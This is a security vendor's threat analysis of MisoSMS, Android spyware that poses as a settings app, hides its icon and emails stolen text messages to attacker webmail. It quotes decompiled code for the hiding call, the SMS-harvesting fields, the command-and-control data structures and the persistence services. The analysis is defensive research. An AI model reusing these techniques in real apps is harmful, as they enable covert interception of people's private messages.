FireEye has uncovered and helped weaken one of the largest advanced mobile botnets to date. The botnet, which we are dubbing “MisoSMS,” has been used in at least 64 spyware campaigns, stealing text messages and emailing them to cybercriminals in China.

MisoSMS infects Android systems by deploying a class of malicious Android apps. The mobile malware masquerades as an Android settings app used for administrative tasks. When executed, it secretly steals the user’s personal SMS messages and emails them to a command-and-control (CnC) infrastructure hosted in China. FireEye Mobile Threat Prevention platform detects this class of malware as “Android.Spyware.MisoSMS.”

Here are some highlights of MisoSMS:

We discovered 64 mobile botnet campaigns that belong to the MisoSMS malware family.

Each of the campaigns leverage Web mail as its (CnC) infrastructure.

The CnC infrastructure comprises more than 450 unique malicious email accounts.

FireEye has been working with the community to take down the CnC infrastructure.

The majority of the devices infected are in Korea, which leads us to believe that this threat is active and prevalent in that region.

The attackers logged in from Korea and mainland China, among other locations, to periodically read the stolen SMS messages.

MisoSMS is active and widespread in Korea, and we are working with Korean law enforcement and the Chinese Web mail vendor to mitigate this threat. This threat highlights the need for greater cross-country and cross-organizational efforts to take down large malicious campaigns.

At the time of of this blog post, all of the reported malicious email accounts have been deactivated and we have not noticed any new email addresses getting registered by the attacker. FireEye Labs will closely monitor this threat and continue working with relevant authorities to mitigate it.

Technical Analysis

Once the app is installed, it presents itself as “Google Vx.” It asks for administrative permissions on the device, which enables the malware to hide itself from the user, as shown in Figure 2.

The message in Figure 3 translates to the following:

“This service is vaccine killer

Copyright (c) 2013 google.org”

Once the user grants administrator privileges to the app, the app shows the message in Figure 3, which translates to “The file is damaged and can’t use. Please check it on the website”” and an OK button. Then is asks the user to confirm deletion, ostensibly offering the option to Confirm or Cancel. If the user taps Confirm, the app sleeps for 800 milliseconds then displays a message that says “Remove Complete.” If the users taps Cancel, the app still displays the “Remove Complete” message.

In either case, the following API call is made to hide the app from the user.

MainActivity.this.getPackageManager().setComponentEnabledSetting MainActivity.this.getComponentName(), 2, 1); This application exfiltrates the SMS messages in a unique way. Some SMS-stealing malware sends the contents of users SMS messages by forwarding the messages over SMS to phone numbers under the attacker’s control. Others send the stolen SMS messages to a CnC server over TCP connections. This malicious app, by contrast, sends the stolen SMS messages to the attacker's email address over an SMTP connection. Most of the MisoSMS-based apps we discovered had no or very few vendor detections on VirusTotal.

The app initially sends an email with the phone number of the target’s device in the message body. This is shown in the screenshot capture below.

The malicious app creates a database called “soft_data” at install time. It also creates a database table by executing the SQL query below.

paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS ulccd(id varchar(50),sender varchar(50),date varchar(20),content varchar(500))");

The application registers a service for the SMS_RECEIVED intent. Once it receives the intent, the app invokes a call to the com.mlc.googlevx.SinRecv.onGetMsg() method. The moment a MisoSMS-infected device receives an SMS, the method extracts the contents of that SMS and creates the key-value pairs as follows:

("sender", this.val$str1); // Phone number of the sender of the SMS

("content", this.val$str2); // Content of the SMS message

("date", this.val$str3); // Date of the SMS

("id", "1"); // Hardcoded identifier

("key", xdataStruct.id); // Device ID

("op", "Add"); // Operation to be performed “Add” indicates SMS to be added

("phone_number", xdataStruct.selfnum); // Phone number of the infected user

The above data is recorded and an email message is sent out with the subject line set to the phone number of the infected device. The body of the email message contains the phone number of the device that sent a message to the infected device and its contents. Figure 6 below shows a packet capture of this data as it is sent.

If the sending of the email fails, it logs the SMS messages in the soft_data database.

The application also starts three services in the background once the app is installed and started: RollService, MisoService, and BaseService.

RollService

This service initiates a sleep call for the first five minutes of execution. Once the sleep call is complete, RollService polls the soft_data database and tries to send any SMS data that failed to send earlier. Once it sends the information successfully, RollService deletes that data from the soft_data database.

MisoService

Once started, MisoService spawns a thread in the background. This thread is responsible for replaying information to the CnC channel. Messages are replayed using data structures that are converted into byte streams. The components of those structures are shown below:

Replay Structure:

public final int Request_BookInfo_len = 70;

public final int Request_Head_Len = 95;

public final int Request_RecPhoneInfo_Len = 8;

public Vector<RequestStruct_BookInfo> book_list = new Vector(); contains

public String book_name = "";

public String book_num = "";

public RequestStruct_Head data_head = new RequestStruct_Head(); contains

public String android_id = "";

public int book_count = 0;

public short client_version = 1;

public byte is_back_door = 0;

public String os_version = "";

public short phone_book_state = 0;

public String phone_model = "";

public String phone_num = "";

public short sms_rec_phone_count = 0;

public int sms_task_id = 0;

public Vector<RequestStruct_RecPhoneInfo> rec_phone_list = new Vector(); contains

public int reccode = 0; public int recphoneid = 0;

Request Structure:

public final int Replay_Head_Len = 583;

public final int Replay_NewAddr_Len = 261;

public final int Replay_RecPhone_len = 24;

public ReplayStruct_Head data_head = new ReplayStruct_Head(); contains

public byte is_send_book = 0;

public byte is_uninstall_backdoor = 0;

public byte is_upbook = 0;

public byte is_update = 0;

public String last_client_url = "";

public short last_client_url_len = 0;

public short last_client_version = 1;

public short new_addr_count = 0;

public short reconn_deply = 300;

public String sms_task_content = "";

public int sms_task_id = 0;

public short sms_task_rec_phone_count = 0;

public Vector<ReplayStruct_NewAddrInfo> new_addr_list = new Vector(); contains

public short new_addr_len = 0;

public int new_addr_port = 8080;

public String new_addr_url = "";

public Vector<ReplayStruct_RecPhoneInfo> rec_phone_list = new Vector(); contains

public int rec_phone_id = 0;

public String rec_phone_num = "";

Once MisoService is initiated, it checks whether the phone is connected to the Internet and the cellular network. If so, it sends a byte array formed by the request data structure shown above. It then makes a copy of data from the request structure into the replay structure and sends the byte array of the request structure via SMS.

The phone number for this SMS is not specified in the code, so these messages are not sent for the time being. But all of this information is logged into the soft_data database, and an update to the app will send the SMS and the above-mentioned data. MisoService also uses an embedded source object called libmisoproto.so to perform socket connections to the SMTP server using Java Native Interfaces. This shared object is unique to this malware family, which is why we named this malware Android.Spyware.MisoSMS.

Here is an excerpt of the code for the MisoService:

static {

System.loadLibrary(“MisoProto”);

}

static byte[] access$1(byte[] arg1) {

return MisoService.jndkAction(arg1);

}

private static native byte[] jndkAction(byte[] arg0) {

}

public void onCreate() {

...

new Thread() {

public void run() {

MisoData.request_data.Reset();

MisoData.replay_data.Reset();

while(true) {

if((BaseSystem.isNetworkAvailable(MisoService.this.context)) &&

(BaseSystem.isPhoneAvailable(MisoService.this.context))) {

if(BaseSystem.android_id.equals("")) {

BaseSystem.Init(MisoService.this.context);

}

MisoData.request_data.data_head.android_id = BaseSystem.android_id;

MisoData.request_data.data_head.phone_model = BaseSystem.phone_model;

MisoData.request_data.data_head.os_version = BaseSystem.os_version;

MisoData.request_data.data_head.phone_num = BaseSystem.phone_num;

byte[] v0 = MisoService.jndkAction(NetDataCover.RequestToBytes(MisoData.request_data ));

MisoService.access$1(v0);

if(v0 != null) {

MisoData.request_data.Reset();

MisoData.replay_data = NetDataCover.BytesToReplay(v0);

MisoAction.Action();

}

if(MisoData.replay_data.data_head.sms_task_rec_phone_count != 0) {

continue;

}

SystemClock.sleep(((long)(MisoData.replay_data.data_head.reconn_deply * 100 )));

continue;

}

SystemClock.sleep(10000);

}

}

}.start();

}

The value for MisoData.replay_data.data_head.reconn_deply is set to 300, putting the service to sleep for 30 seconds between retries.

BaseService

The base service ensures that RollService and MisoService do not stop running. The BaseBootReceiver class also uses BaseService to start the other two service if the device reboots.

BaseService.this.startService(new Intent(BaseService.this.context, RollService.class));

BaseService.this.startService(new Intent(BaseService.this.context, MisoService.class));

Conclusion

MisoSMS is one of the largest mobile botnets that leverages modern botnet techniques and infrastructure. This discovery, coupled with the other discoveries from FireEye, highlights the importance of mobile security and the quickly changing threat landscape.